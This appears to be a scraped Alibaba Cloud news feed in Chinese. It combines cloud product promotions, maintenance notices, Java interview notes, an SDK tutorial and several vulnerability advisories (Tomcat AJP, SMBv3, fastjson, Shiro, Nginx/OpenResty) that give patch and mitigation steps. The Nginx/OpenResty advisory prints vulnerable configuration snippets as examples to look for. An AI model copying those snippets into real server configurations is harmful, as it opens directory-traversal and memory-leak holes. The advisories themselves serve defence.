        利器八:云上异步分流利器 - 消息队列 MQ & 消息队列 Kafka

        面向群体:
        所有分布式系统的开发者,架构师等。

        使用场景:
        a.帮助系统异步解耦,提高系统可用性;当系统需新增或者删减新的应用模块,快速迭代;
        b.削峰填谷,利用消息队列本身的能力,当面对上游系统的应用洪峰时,下游系统也能平缓承接,保证系统可用性;
        c.全面兼容开源,进一步优化开源产品长期以来的痛点,开源Kafka、开源RabbitMQ等的自建用户可以快速上云;

        业务场景选型分类请见:
        6

        如何计费:

        提供按量付费和包年包月两种计费模式,并提供了标准版、专业版不同的价格套餐,方便客户根据实际情况选择性价比最高的接入方式,详情请见各产品详情页:https://www.aliyun.com/product/ons

        优惠活动:

        • 新用户最低规格9.9元包月起,其他规格5折起;
        • 老用户年付85折起,部分超大规格75折起,消息队列Kafka 版&消息队列AMQP 版购买三个实例及以上享受5折。

        利器九:云端最佳K8s利器 – 容器服务ACK

        面向群体:
        已经或正在考虑使用容器的企业,寻求企业级容器化应用的全周期专业支持。或者您拥有以下应用场景,如机器学习、微服务架构、DevOps、混合云、海量在线业务或数据处理、智能运维等诉求。

        开发:

        • 现状:应用频繁迭代,如何实现自动部署,以及上线后自动更新;
        • 需求:新应用的容器化开发,或已有应用进行容器改造,并应用于复杂的部署场景与流程之中;
        • 我们的价值: 不论是新兴业务如机器学习应用、音视频处理,还是对已有应用业务容器化改造、微服务改造;都可以打通从代码到云上K8s集群的应用全链路,实现热部署,支持复杂拓扑应用如蓝绿发布等多种发布形式, ACK搭配多种开源及阿里云CICD工具。

        运维:

        • 现状:自建K8s集群,手动配置所有K8s相关组件及各项配置;
        • 需求:降低使用成本,资源、人力及管理成本增加,留存一定安全隐患及稳定风险;
        • 我们的价值:提供多种集群统一管理,满足跨地域、强隔离、应用隔离等需求。辅以自动运维所需全套工具及搭配服务:提供集群检测等自动化运维能力,快速定位集群异常问题,消除集群功能、安全等方面隐患。

        架构师: 

        • 现状:公司现有架构难以满足日益增长的业务需求,且现有运维与开发体系成本高居不下。如何引入Kubernetes技术并合理规划集群,构建智能化的运维体系与开发体系,避免为后续 ‘挖坑’,正在寻求最优架构方案。
        • 需求:高效平稳落地Kubernetes,为不同部门或情况准备不同集群;对业务流量具备不确定性和突发性,做到简化弹性配置。并且,最低成本以及便捷的方式构建运维、监控、日志等配套体系。
        • 我们的价值:阿里云容器服务ACK致力于打造最佳容器化应用运行环境,9年阿里经济体容器化实践沉淀,阿里云已拥有国内最丰富的云原生产品家族、最全面的云原生开源贡献、最大规模的云原生应用实践、最大的容器集群和客户群体。提供高性能可伸缩的容器应用管理能力,便捷高效实现集群扩缩容,每个版本经过严格测试,搭配镜像服务企业版实现端到端安全,专业团队强大服务等。

        使用场景:

        • 落地Kubernetes,实现微服务架构、自动化智能化运维与CI/CD,打造最优化的持续交付流程与生产管理 
          多云混合云,统一管理云上和云下的K8s集群,一致体验
        • 高性能计算,如机器学习、基因计算、如音视频在线直播、在线教育、电商大促等互联网业务

        如何计费:
        容器服务
        Kubernetes 版本身不收取任何费用,但在使用过程中会创建相关资源,您需要为您使用的这些资源付费。下文为您介绍相关资源的价格计费情况。价格页面说明:https://help.aliyun.com/document_detail/86759.html

        优惠活动:
        战疫情,推出客户关怀计划
        容器服务AKC联合GPU、裸金属服务器推出新客专享折扣,GPU竞价实例1折起、‘神龙’9折起。 
        链接:
        https://cs.console.aliyun.com/#/k8s/cluster/templates

        客户案例:
        助力某在线教育客户平稳度过‘远程开学’高峰期,使用阿里云容器服务Kubernetes版(ACK)+容器镜像服务(ACR)+ECS+日志服务SLS。其中 Kubernetes 专有集群搭配阿里云日志服务 ,再使用 Gitlab + Jenkins +阿里云镜像仓库实现 DevOps ,快速构建发布。

        • 大促期间平台k8s集群构建速度快,故障低,稳定,集群worker节点扩展分钟级别,pod节点扩展速度秒级,快速缓解了因线上大流量及高并发场景下各服务节点负载过大的问题。
        • 大促期间使用k8s节省资源,通过资源限定和优化,可以充分利用硬件资源,资源水位占比可以有效的控制在60%左右。
        • 线上发现问题可以快速滚动迭代,解决了服务上下线不优雅影响业务的痛点,提升了用户体验。

        7

        利器十:极速上线极简运维利器 – 函数计算 FC

        面向群体:
        按需分配资源且架构高可用,不希望关注任何底层基础设施或软件网络配置,借助函数版本/别名功能上线业务工程,如serverless web、基于Web API的小程序、媒体文件转换,或构建音视频处理系统、Serverless AI 推理、流式数据处理、ETL 离线数据处理系统等。

        开发:

        • 现状:应用复杂要考虑存储、网络、监控、消息等等;
        • 需求:快速构建可靠的业务系统,并实现灰度发布;
        • 我们的价值:只需要专注具体业务逻辑的函数编写即可,同时事件驱动的编程模型也简化代码编写的复杂度,大大提高开发效率。

        运维:

        • 现状:服务高峰时期压力骤增,如何从容运维;
        • 需求:报警自动执行紧急措施,实时弹性伸缩;
        • 我们的价值:真正细粒度按需分配资源,支持用户设置定时任务或事件驱动任务,提供完善的监控设施。

        架构师:

        • 现状:业务需求变化快,高峰期如何保证顺滑;
        • 需求:敏捷开发并快速上线,高可用;
        • 我们的价值:专注业务逻辑开发,敏捷开发,灰度发布上线,弹性高可用。轻松实现全Serverless架构,毫秒级伸缩,FC完美无缝搭配其他产品,轻松支持终端并发业务峰值需求,后端服务动态扩展。

        使用场景:

        • 联动存储、数据库的协作系统或数据中台,弹性面对流量涌入和即时的数据查询;
        • 图片音视频等多媒体的云处理,短时间内准备大量资源规模化处理。

        如何计费:
        函数计算采用后付费和预付费购买资源包的形式收费,其中预付费的包年包月预购计算力单位为CU。1CU等于0.67 vCPU,1GB内存的算力。
        价格页面说明:https://help.aliyun.com/document_detail/131861.html

        优惠活动:
        战疫情,推出客户关怀计划
        关怀:函数计算FC资源包限时5折(新客专享)
        链接:https://common-buy.aliyun.com/?commodityCode=fc_prepaid_public_cn#/buy

        客户案例:
        石墨文档,中国第一款支持云端协作的企业办公服务软件,可以实现多人同时在线编辑同一文档及表格。函数计算帮助石墨文档解决了关键的多人同时编辑问题,并带来以下好处:

        敏捷开发免运维: 专注文档实时协作的业务逻辑开发,不用考虑CPU密集计算的负载均等问题
         
        弹性高可用:毫秒级伸缩,解决早晚高峰用量突增的计算资源扩容问题
         
        降低成本:节省了 58% 的服务器成本

        8

         “宅”在家,做主播

        远程办公,不孤单

        除了视频会议,当然还要连麦玩直播

        在家运维不用慌系列直播,火热进行中·····

        阿里云程序员/中间件小姐姐/中间件小师妹

        居家开课

        快来加入我们吧

        IMG_0243

        ]]>
        Tomcat 被爆漏洞,部署在阿里云上的应用该怎么办? Fri, 02 May 2025 09:39:04 +0800 最近很多同学都听说了 Tomcat 的关于 AJP 的漏洞,国家信息安全漏洞共享平台(CNVD) 也对此进行披露,同时该漏洞综合评级被评为“高危”,这篇文章主要用来描述,如果确认您部署在阿里云上的应用受到了影响,该如何处理。

        漏洞编号:CNVD-2020-10487/CVE-2020-1938

        第一种方式:直接升级 Tomcat 版本

        根据官方描述,最好的方式是将 Tomcat 升级到最新版本:Tomcat7 升至 7.0.100、Tomcat8 升至 8.5.51、Tomcat 9 升至 9.0.31。

        这种方式最为彻底,但是缺点也很显而易见:由于这种做法属于更换底层的基础设施,如果您是生产应用,建议将风险控制在可控范围之内再进行。

        第二种方式:修改配置

        由于此漏洞只会对于 AJP 协议的 Connector 有影响,默认情况下 AJP 协议是打开的,但是 AJP 必须结合 httpd 一起工作才能起作用,如果您的应用中没有使用到 httpd,是可以关闭的,关闭的方式为:

        1. 打开配置文件 conf/server.xml: vim ${CATALINA_HOME}/conf/server.xml
        2. 找到 <Connector port="8009" protocol="AJP/1.3" 后,注销配置文件中的相关配置,保存退出。
        3. 重启应用

        如果您的应用中确实使用到了 AJP 协议的话,建议您在 Connector 的配置中,加入 secret 和 secretRequired 配置项,与此同时,需要配合修改前面的 httpd 的配置;具体操作方式可搜索 httpd 和 Tomcat AJP 的配置进行修改。

        这种方式,不需要升级 Tomcat 版本,但需要对我们的 Tomcat 和 httpd (如果使用到了)的配置都进行修改;同时,如果集群很大的话,修改系统级别的配置会带来不确定的风险,建议结合一些运维工具批量进行。

        第三种方式,关闭不必要的端口暴露

        如果不幸端口确实打开了,而又不便去修改机器上的配置时;我们可以通过使用阿里云安全组策略,添加禁用ECS 上 对 8009(默认) 的端口访问的规则,或只对部分授信的 IP 放行来达到目的。

        这种方式可以快速的封堵此漏洞,且不需要动机器上的配置,只需要对 ECS 有权限的运维同学就能完成操作,避免了不必要的业务回归。但是 ECS 安全组规则具有很高的维护成本,久而久之如果管理不好的话,可能会带来额外的排查诊断的的成本。

        部署在阿里云 EDAS/SAE 上的应用如何操作

        漏洞出来之后,EDAS/SAE 团队第一时间审查了我们所提供的 Tomcat 版本,包括 EDAS/SAE Container 和社区版本的 Apache Tomcat,针对 ECS 集群和 Kubernetes 集群我们得出的结论和建议是:

        1. 如果您使用的是 FatJar 的方式部署的话,将不会收到任何影响。
        2. 如果您使用的是 War 包部署的话,请参见一下表格:

        应用类型 ECS 集群 Kubernetes 集群没有绑定8009端口暴露 Kubernetes 集群已有绑定8009端口暴露
        EDAS/SAE Container(HSF) 应用 不受影响 不受影响 不受影响
        Spring Cloud 应用 不受影响 不受影响 需重新部署应用
        Dubbo 应用 不受影响 不受影响 需重新部署应用
        镜像部署 N/A 不受影响 在镜像中按第一或第二种方式修复后,重做镜像部署应用


        ]]>
        【升级】3月19日.xin域名注册局系统维护公告 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【域名】【注册局维护通知】

        维护时间:北京时间2020年3月19日 00:00 - 02:00

        维护内容:接到注册局的通知,注册局将于上述时间对后台系统进行维护升级。

        维护影响:届时 .xin 域名的注册、续费、信息修改和查询域名注册信息等操作,将会无法使用,在此期间会对您造成的影响如下:

        1、您提交的注册(购买)、续费、转入、赎回、一口价域名业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态;

        2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

        如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

        由此给您带来的不便,我们表示歉意,敬请谅解。

        ]]>
        【升级】3月消息队列AMQP升级计划通知(更新) Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【消息队列AMQP】【升级通知】

        升级窗口:(已更新)

        北京时间2020年3月12日 00:00 - 06:00

        北京时间2020年3月13日 00:00 - 06:00

        北京时间2020年3月17日 00:00 - 06:00

        北京时间2020年3月18日 00:00 - 06:00

        北京时间2020年3月19日 00:00 - 06:00

        北京时间2020年3月20日 00:00 - 06:00

        北京时间2020年3月25日 00:00 - 06:00

        北京时间2020年3月26日 00:00 - 06:00

        北京时间2020年3月27日 00:00 - 06:00

        北京时间2020年3月31日 00:00 - 06:00

        升级内容:华北1(青岛)、华北2(北京)、华东1(杭州)、华东2(上海)、华南1(深圳)等地域的消息队列AMQP服务升级。

        升级影响:升级期间消息队列AMQP相关服务及控制台访问可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

        给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

        ]]>
        【升级】3月22日.COM/.NET注册局系统维护通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【域名】【注册局维护通知】

        维护时间:北京时间2020年3月22日 09:00 - 09:45

        维护内容:接到注册局的通知,注册局将于上述时间对后台系统进行维护升级。

        维护影响:届时 .com/.net 域名的注册、续费、信息修改和查询域名注册信息等操作,将会无法使用,在此期间会对您造成的影响如下:

        1、您提交的注册(购买)、续费、转入、赎回、一口价域名业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态;

        2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

        如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

        由此给您带来的不便,我们表示歉意,敬请谅解。

        ]]>
        【升级】3月21日阿里云发票系统升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【发票系统】【升级通知】

        升级时间:2020年3月21日 00:00-01:00 

        升级影响:升级期间中国站发票操作相关功能将停止使用,包括发票申请、发票信息修改、退票申请等,升级结束后恢复发票操作相关功能。 

        如您有发票管理需求,建议您在升级前做好准备。升级期间给您带来的不便,敬请谅解。

        ]]>
        【升级】数据库审计(C100型号)升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【数据库审计】【升级通知】

        升级窗口:

        北京时间:2020-03-26 16: 00 - 21: 00

        北京时间:2020-03-31 16: 00 - 21: 00

        升级区域:华东1(杭州),华东2(上海),华南1(深圳),华北1(青岛),华北2(北京),华北3(张家口),华北5(呼和浩特),西南1(成都), 杭州金融云、上海金融云、深圳金融云、华北2阿里政务云。

        3. 升级内容:数据库审计产品(C100型号)V2版本升级至V3版本,V3版本相比V2版本实例优化了日志存储空间使用,新增加多张审计报表,支持ElasticSearch协议审计和SQL 模板查询,并对Agent管理功能进行了优化。

        升级方式:系统自动升级到最新版本。

        升级影响:日志存储Logstore位置发生变化:原【dbaudit-audit-dbaudit-cn-${instanceId}】变更为

        【dbaudit-audit2-dbaudit-cn-${instanceId}】,原【dbaudit-session-dbaudit-cn-${instanceId}】变更为【dbaudit-session2-dbaudit-cn-${instanceId}】。如果您在升级之前配置过【OSS备份】,那么您需要重新对【OSS备份】进行配置,将备份的logstore替换为新Logstore。另外版本升级后,您新的Logstore默认存储时长将自动调整为185天,您可自行进行调整,存储时长调整范围是【30天-185天】。

        具体影响内容和操作方式,详见文档

        ]]>
        【升级】3月24日至30日IDaaS应用身份服务升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【IDaaS应用身份服务】升级通知
        升级窗口:北京时间2020年3月24日 19:00- 3月30日 21:00
        升级内容:为了更好为客户提供最新的统一身份权限管理能力,IDaaS计划进行全量实例更新,更新后版本为 v1.6.0。
        升级影响:正常情况下对客户无影响,升级过程中如果遇到任何问题,可随时联系阿里云反馈。

        给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

        ]]>
        【漏洞预警】Spring Cloud Config 服务远程任意文件读取漏洞(CVE-2020-5405) Fri, 02 May 2025 09:39:04 +0800

        2020年3月6日,阿里云应急响应中心监测到Spring官方发布安全公告,披露Spring Cloud Config服务器存在远程任意文件读取漏洞(CVE-2020-5405)。黑客可通过漏洞直接遍历服务器任意磁盘文件,风险较大。


        漏洞描述

        Spring Cloud Config一套开源分布式系统配置服务,为分布式环境提供外部配置服务支持。目前漏洞可利用PoC已在互联网上披露,阿里云应急响应中心提醒用户尽快升级相关软件并加以防护。


        历史上Spring Cloud Config服务器于2019年4月17日曾爆发过任意文件读取漏洞(CVE-2019-3799),详情:http://help.aliyun.com/noticelist/articleid/1000130771.html


        漏洞评级

        CVE-2020-5405 高危


        影响版本

        2.2.x系列:< 2.2.2

        2.1.x系列:< 2.1.7

        其他较早版本


        安全版本

        2.2.x系列:2.2.2 及以上

        2.1.x系列:2.1.7 及以上

        安全建议

        升级Spring Cloud Config至安全版本,并依据Spring官方文档对应用加固:https://cloud.spring.io/spring-cloud-config/multi/multi__spring_cloud_config_server.html#_security


        阿里云WAF已可防御此漏洞攻击

        阿里云云安全中心应急漏洞模块已支持对该漏洞一键检测

        阿里云云防火墙已可防御此漏洞攻击



        相关链接

        https://pivotal.io/security/cve-2020-5405



        我们会关注后续进展,请随时关注官方公告。

        如有任何问题,可随时通过工单或服务电话95187联系反馈。

        阿里云应急响应中心

        2020.3.6

        ]]>
        【漏洞预警】Windows SMBv3 蠕虫级远程代码执行漏洞(CVE-2020-0796) Fri, 02 May 2025 09:39:04 +0800

        2020年3月11日,阿里云应急响应中心监测到微软官方发布安全公告,披露某些Windows版本的SMBv3协议实现压缩功能存在一处远程代码执行漏洞。成功利用该漏洞的攻击者可以在目标SMB服务器或SMB客户端上执行代码。目前微软官方已提供安全补丁,并提供了无需安装补丁的缓解措施。


        漏洞描述

        针对SMBv3服务器,攻击者可以将特制的数据包发送到SMB服务器来触发漏洞。若要针对SMBv3客户端,攻击者需要配置好一个恶意的SMB服务器,并诱使用户连接该服务器。另据国外安全媒体报道,该漏洞(CVE-2020-0796)具有蠕虫特性。漏洞只影响Windows 10系统和Server 1903、1909系统版本,不影响主流的Windows Server 2008/2012/2016/2019系统,整体风险较低。


        漏洞评级

        CVE-2020-0796 高危


        影响版本

        Windows Server, version 1909 (Server Core installation)
        Windows Server, version 1903 (Server Core installation)
        Windows 10 Version 1903 for 32-bit Systems
        Windows 10 Version 1903 for x64-based Systems
        Windows 10 Version 1903 for ARM64-based Systems
        Windows 10 Version 1909 for 32-bit Systems
        Windows 10 Version 1909 for x64-based Systems
        Windows 10 Version 1909 for ARM64-based Systems


        修复方案


        针对使用受漏洞影响的Windows系统版本的用户,可采用以下任意方式来进行修复或者缓解:


        1. 前往微软官方下载相应补丁进行更新: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796

        2. 使用注册表禁用SMBv3 的compression功能来达到漏洞缓解,命令如下:


        Set-ItemProperty -Path "HKLM:SYSTEMCurrentControlSetServicesLanmanServerParameters" DisableCompression -Type DWORD -Value 1 -Force
        
        
        
        
        
        


        3. 关闭SMB服务端口,禁止139和445端口对外部开放。安全组相应设置参考如下




        相关链接

        https://portal.msrc.microsoft.com/zh-CN/security-guidance/advisory/adv200005

        https://www.zdnet.com/article/details-about-new-smb-wormable-bug-leak-in-microsoft-patch-tuesday-snafu/

        https://blog.talosintelligence.com/2020/03/microsoft-patch-tuesday-march-2020.html



        阿里云云安全中心应急漏洞模块已支持对该漏洞一键检测

        阿里云云防火墙已可防御此漏洞攻击


        我们会关注后续进展,请随时关注官方公告。

        如有任何问题,可随时通过工单或服务电话95187联系反馈。

        阿里云应急响应中心

        2020.3.11

        ]]>
        【漏洞预警】通达OA 高危漏洞预警 Fri, 02 May 2025 09:39:04 +0800

        2020年3月16日,阿里云应急响应中心监测到通达OA官方在官方论坛发布安全公告,披露近期存在大量通达OA用户服务器遭受勒索病毒攻击事件。


        漏洞描述

        通达OA是一套办公系统。近日通达OA官方在官方论坛披露了近期一起通达OA用户服务器遭受勒索病毒攻击事件。攻击者通过构造恶意请求,上传webshell等恶意文件,并对入侵的服务器进行文件加密,勒索高额匿名货币赎金。阿里云应急响应中心于3月13日已捕获该漏洞利用方式,漏洞真实存在。阿里云应急响应中心提醒通达OA用户尽快采取安全措施阻止漏洞攻击。


        影响版本

        V11版

        2017版

        2016版

        2015版

        2013增强版

        2013版


        安全建议

        通达OA官方已经发布相应安全加固程序,请根据当前OA版本选择所对应的程序文件,运行前请先做好备份。

        安全更新下载地址:http://www.tongda2000.com/news/673.php


        相关链接

        http://club.tongda2000.com/forum.php?mod=viewthread&tid=128377&extra=page%3D1


        阿里云云安全中心应急漏洞模块已支持对该漏洞一键检测

        阿里云云防火墙已可防御此漏洞攻击

        阿里云WAF已可防御此漏洞攻击


        我们会关注后续进展,请随时关注官方公告。

        如有任何问题,可随时通过工单或服务电话95187联系反馈。

        阿里云应急响应中心

        2020.3.16

        ]]>
        【漏洞预警】Nginx/OpenResty 特殊配置下内存泄漏与目录穿越漏洞 Fri, 02 May 2025 09:39:04 +0800

        2020年3月18日,阿里云应急响应中心监测到国外安全研究者公开了Nginx/OpenResty在特殊配置下存在内存泄漏或目录穿越漏洞详情。


        漏洞描述

        Nginx是一个高性能的HTTP和反向代理web服务器,OpenResty是一个基于 Nginx 与 Lua 的高性能Web平台。近日国外安全研究者公开了Nginx/OpenResty在特殊配置下存在内存泄漏或目录穿越漏洞详情。由于Nginx在rewrite功能实现上存在缺陷,以及OpenResty在ngx.req.set_uri()实现上存在缺陷,如果Nginx配置文件中使用了rewrite或者ngx.req.set_uri(),则攻击者可能可以通过构造恶意请求,从而造成内存泄漏或者目录穿越漏洞。阿里云应急响应中心提醒Nginx/OpenResty用户尽快采取安全措施阻止漏洞攻击。


        影响版本

        nginx <= v1.17.7

        openresty <= v1.15.8.2


        安全建议

        1. Nginx更新至安全版本>=v1.17.9

        2. 以下是存在漏洞的配置片段,建议用户自检查配置文件,并禁用相关危险配置。


        location ~ /memleak {
            rewrite_by_lua_block {
                ngx.req.read_body();
                local args, err = ngx.req.get_post_args();
                ngx.req.set_uri( args["url"], true );
            }
        }
        location ~ /rewrite {
            rewrite ^.*$ $arg_x;
        }
        
        
        


        相关链接

        https://www.openwall.com/lists/oss-security/2020/03/18/1

        https://hackerone.com/reports/513236


        阿里云WAF已可防御此漏洞攻击


        我们会关注后续进展,请随时关注官方公告。

        如有任何问题,可随时通过工单或服务电话95187联系反馈。

        阿里云应急响应中心

        2020.3.19

        ]]>
        【漏洞预警】fastjson < 1.2.67 反序列化和SSRF漏洞 Fri, 02 May 2025 09:39:04 +0800

        近日,阿里云应急响应中心监测到fastjson官方git披露fastjson存在最新反序列化远程代码执行漏洞攻击Gadgets,利用该最新的Gadgets,攻击者可以造成远程命令执行,或者造成SSRF漏洞,风险较大。官方已发布最新版本1.2.67修复该漏洞,请使用到fastjson的用户尽快升级至安全版本。


        漏洞描述

        fastjson采用黑白名单的方法来防御反序列化漏洞,导致当黑客不断发掘新的可攻击的反序列化Gadgets类时,则可能可以绕过黑白名单防御机制,造成远程命令执行或者SSRF漏洞。阿里云应急响应中心提醒fastjson用户尽快采取安全措施阻止漏洞攻击。


        影响版本

        fastjson < 1.2.67

        fastjson sec版本 < sec09


        安全版本

        fastjson >= 1.2.67

        fastjson sec版本>= sec09


        安全建议

        注意:较低版本升级至最新版本1.2.67可能会出现兼容性问题,建议升级至特定版本的sec09 bugfix版本


        升级至安全版本,参考下载链接:https://repo1.maven.org/maven2/com/alibaba/fastjson/


        相关链接

        https://github.com/alibaba/fastjson/releases/tag/1.2.67



        阿里云云安全中心应急漏洞模块已支持对该漏洞一键检测

        阿里云云防火墙已可防御此漏洞攻击

        阿里云WAF已可防御此漏洞攻击



        我们会关注后续进展,请随时关注官方公告。

        如有任何问题,可随时通过工单或服务电话95187联系反馈。

        阿里云应急响应中心

        2020.03.23

        ]]>
        【漏洞预警】Apache Shiro < 1.5.2 权限绕过漏洞 Fri, 02 May 2025 09:39:04 +0800

        2020年3月24日,阿里云应急响应中心监测到Apache Shiro官方发布安全更新,修复了一个权限绕过漏洞。攻击者利用该漏洞可以绕过验证访问到后台功能。


        漏洞描述

        Apache Shiro是一个应用广泛的权限管理的用户认证与授权框架。官方于24日凌晨发布1.5.2版本,该版本修复了一个权限绕过漏洞。在一定条件下,攻击者可以构造恶意请求访问,从而绕过权限验证访问到后台功能。阿里云应急响应中心提醒Apache Shiro用户尽快采取安全措施阻止漏洞攻击。


        影响版本

        Apache Shiro < 1.5.2


        安全版本

        Apache Shiro >= 1.5.2


        相关链接

        https://seclists.org/oss-sec/2020/q1/120

        https://github.com/apache/shiro/releases

        我们会关注后续进展,请随时关注官方公告。

        如有任何问题,可随时通过工单或服务电话95187联系反馈。

        阿里云应急响应中心

        2020.03.24

        ]]>
        Java常见面试题:泛型中“T”与“?”的区别-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 image.png

        这两个操作的特点是一个用于泛型类型的声明上,一个用于方法的接收参数或者返回类型上。

        image.png

        image.png

        image.png

        image.png
        使用“类<?>”表示只能够取得内容,但是不允许设置内容。

        更多专业知识,面试技巧就在阿里云开发者社区,持续更新中……
        感谢浏览~
        本内容来源于阿里云大学-Java面试技巧

        ]]>
        Java常见面试题:线程池-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 线程池

        在项目的开发里面对于线程池¬应用最多的地方就在数据库的连接池上,如果要想实现线程池,需要一个专门的类完成(java.util.concurrent包):public interface ExecutorService extends Executor。

        (1)线程的执行操作:public void execute(Runnable command);
        如果想取得ExecutorService子接口对象,则必须利用java.util.concurrent.Executors类完成实例化;
        (2)创建一个无限大小的线程池:public static ExecutorService newCachedThreadPool();
        (3)创建有限大小的线程池:public static ExecutorService newFixedThreadPool(int nThreads)

        范例:创建一个无限大小的线程池

        image.png

        范例:创建3个大小的线程池

        image.png

        此时由于线程池的空间只能够存放有三个线程的对象,所以对于不能保存的线程,将会在队列之中进行等待。
        如果要是不确定能放多少线程池的话,可以通过以下的操作取得系统可用进程的数量,可以用它确定线程池的大小。

        image.png

        更多专业知识,面试技巧就在阿里云开发者社区,持续更新中……
        感谢浏览~
        本内容来源于阿里云大学-Java面试技巧

        ]]>
        数据库那些事儿?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        见兔而顾犬,未为晚也;
        ——《战国策》

        删库跑路怎么解?

        先讲一个最简单的方案:
        迁移到阿里云PolarDB

        PolarDB提供MySQL5.6/8.0以及PG 11的100%兼容,单节点最高88核、最大支持16节点横向扩展,在兼容性和性能上都有保障。

        PolarDB自带极速无锁备份功能,只需几分钟时间即可完成数TB数据的备份。Polar的自动备份默认每天一次,用户也可以自行调整备份频率,但系统预制的安全策略是每周至少两次,而且用户无法自行删除自动备份

        目前PolarDB的备份不收费。

        假如不怕麻烦,还可以考虑再建立另一套独立的数据备份体系:
        用阿里云DBS进行跨云、跨账号的备份

        阿里云DBS支持跨云跨账号备份,可以将数据库备份到独立的阿里云账号下,实现生产环境和备份环境的隔离

        DBS架构图如下所示:
        1.png

        (上图来自阿里云官网)

        可以在隔离的网络环境下部署备份网关,无需对公网开放数据库访问端口。只要备份网关能够访问到数据库、能够访问DBS服务端即可获取备份指令完成数据备份,备份网关也无需对公网开放访问端口。

        DBS支持逻辑备份和物理备份两种方式,对不用数据库适用不同的RPO指标:
        2.png

        (上图来自阿里云官网)

        DBS还支持将备份的数据自动归档到本地数据中心:

        3.png

        (上图来自阿里云官网)

        除了删库跑路,对于大一些的组织,还要解决数据库运维过程中的数据泄露和随意变更问题就要更复杂一些了。

        使用阿里云数据管理DMS安全协同版来统一管控数据库开发运维。
        4.jpg

        (上图来自阿里云官网)

        DMS安全协同版支持同账号或跨账号的阿里云RDS、自建数据库、以及其他云厂商的数据库服务的接入和管控。阿里云DMS过去分成免费版、高级版、企业版,现在分成了自由操作、稳定变更、安全协同三个版本。要解决数据泄露和无序变更问题,我们需要的是安全协同版。

        5.png

        (上图来自阿里云官网)

        阿里云最佳实践团队出了一篇通过DMS进行数据库和用户接入访问权限申请以及数据脱敏的最佳实践文档,感兴趣的可以参考:

        《阿里云数据库运维安全管理最佳实践 》
        https://www.aliyun.com/acts/best-practice/preview?id=344828

        ]]>
        阿里云视觉智能开放平台使用简明教程-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Step By Step

        1、服务开通

        登陆 阿里云视觉智能开放平台
        _

        可以基于使用需求开通对应的服务接口。

        _

        注意:

        1、公测期间所有API能力QPS上限为:2QPS/用户/API;
        2、公测期间本服务相关接口均可免费使用,不会收取费用。

        2、RecognizeFace Open API 快速测试

        _

        3、SDK Sample

        • 3.1 pom.xml
                <dependency>
                    <groupId>com.aliyun</groupId>
                    <artifactId>aliyun-java-sdk-core</artifactId>
                    <version>4.4.8</version>
                </dependency>
                <dependency>
                    <groupId>com.alibaba</groupId>
                    <artifactId>fastjson</artifactId>
                    <version>1.2.52</version>
                </dependency>
                <dependency>
                    <groupId>com.aliyun</groupId>
                    <artifactId>aliyun-java-sdk-facebody</artifactId>
                    <version>1.0.6</version>
                </dependency>
        • 3.2 Code Sample
        import com.aliyuncs.DefaultAcsClient;
        import com.aliyuncs.IAcsClient;
        import com.aliyuncs.exceptions.ClientException;
        import com.aliyuncs.exceptions.ServerException;
        import com.aliyuncs.profile.DefaultProfile;
        import com.google.gson.Gson;
        import com.aliyuncs.facebody.model.v20191230.*;
        
        public class RecognizeFace {
        
            public static void main(String[] args) {
                // 阿里云常见参数获取位置:https://yq.aliyun.com/articles/693979
                DefaultProfile profile = DefaultProfile.getProfile("cn-shanghai", "LTAIOZZg********", "v7CjUJCMk7j9aKduMAQLjy********");
                IAcsClient client = new DefaultAcsClient(profile);
        
                RecognizeFaceRequest request = new RecognizeFaceRequest();
                request.setImageURL("https://taroshanghai.oss-cn-shanghai.aliyuncs.com/viapipictest/face.jpg");
        
                try {
                    RecognizeFaceResponse response = client.getAcsResponse(request);
                    System.out.println(new Gson().toJson(response));
                } catch (ServerException e) {
                    e.printStackTrace();
                } catch (ClientException e) {
                    System.out.println("ErrCode:" + e.getErrCode());
                    System.out.println("ErrMsg:" + e.getErrMsg());
                    System.out.println("RequestId:" + e.getRequestId());
                }
            }
        }
        • 3.3 The Result
        {"requestId":"A426D8BB-4128-44AD-9575-DED6A2DFEFFA","data":{"faceCount":1,"landmarkCount":105,"denseFeatureLength":1024,"faceRectangles":[212,60,116,164],"faceProbabilityList":[1.0],"poseList":[19.361076,-8.66499,0.6876447],"landmarks":[234.06001,114.86871,281.2352,120.16854,258.43304,109.93666,257.8172,115.991394,241.41324,110.550674,249.89445,109.41285,266.79712,111.71225,274.85562,114.5719,241.95444,115.67455,249.89005,115.6424,265.65875,117.20691,273.38107,119.032394,300.79468,121.015175,326.71884,117.37924,312.67722,110.703835,313.49182,116.88714,302.61584,115.66164,307.3664,112.59733,318.28467,110.58211,323.42743,112.77988,304.98724,119.500244,309.16888,117.95529,317.8977,116.219345,322.3129,116.70093,249.16968,129.67639,271.25998,132.78769,251.95442,127.9193,254.98134,126.62697,258.17914,125.846985,261.4436,125.4352,264.6984,125.84146,267.587,127.36371,269.68555,129.89575,251.3974,131.63614,254.0673,132.9317,256.88074,133.87578,259.7736,134.53651,262.7234,134.8545,265.68823,134.76126,268.55576,134.00826,300.81964,132.10638,319.7733,129.43997,302.47833,129.78275,304.5604,127.831635,307.04498,126.429825,309.7583,125.54428,312.60876,125.42659,315.41306,125.95772,317.96356,127.23546,303.23926,132.98259,305.76422,133.48071,308.31787,133.79996,310.89117,133.7911,313.44073,133.44595,315.89813,132.6864,318.13965,131.42615,288.71